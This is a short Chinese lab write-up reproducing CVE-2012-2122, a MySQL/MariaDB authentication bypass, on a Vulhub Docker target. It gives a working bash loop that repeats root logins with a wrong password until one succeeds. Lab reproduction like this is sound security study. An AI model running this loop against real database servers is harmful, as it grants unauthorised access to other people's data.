【SQL】CVE-2012-2122 MySQL身份认证绕过漏洞复现
漏洞简介
当连接 MariaDB / MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是
memcmp()
返回一个非零值,也会使 MySQL 认为两个密码是相同的。
也就是说,只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
漏洞靶场
Vulhub 中的 mysql/CVE-2012-2122
模块,在 vulhub/mysql/CVE-2012-2122
目录下使用 docker-compose up -d
命令启动容器:
docker-compose up -d
漏洞复现
首先在 Kali 中尝试以正常的方式连接数据库,默认用户名为 root
,密码为 123456
:
mysql -h xxx.xxx.xxx.xxx -uroot -p123456
经测试,可以正常连接。
接下来继续在 Kali 中使用如下命令,循环多次发起连接请求:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h <your-ip> -P3306 ; done
最终在多次尝试后成功进入到数据库中:
(っ °Д °;)っ温馨提示:使用完过后不要忘了停止和删除容器!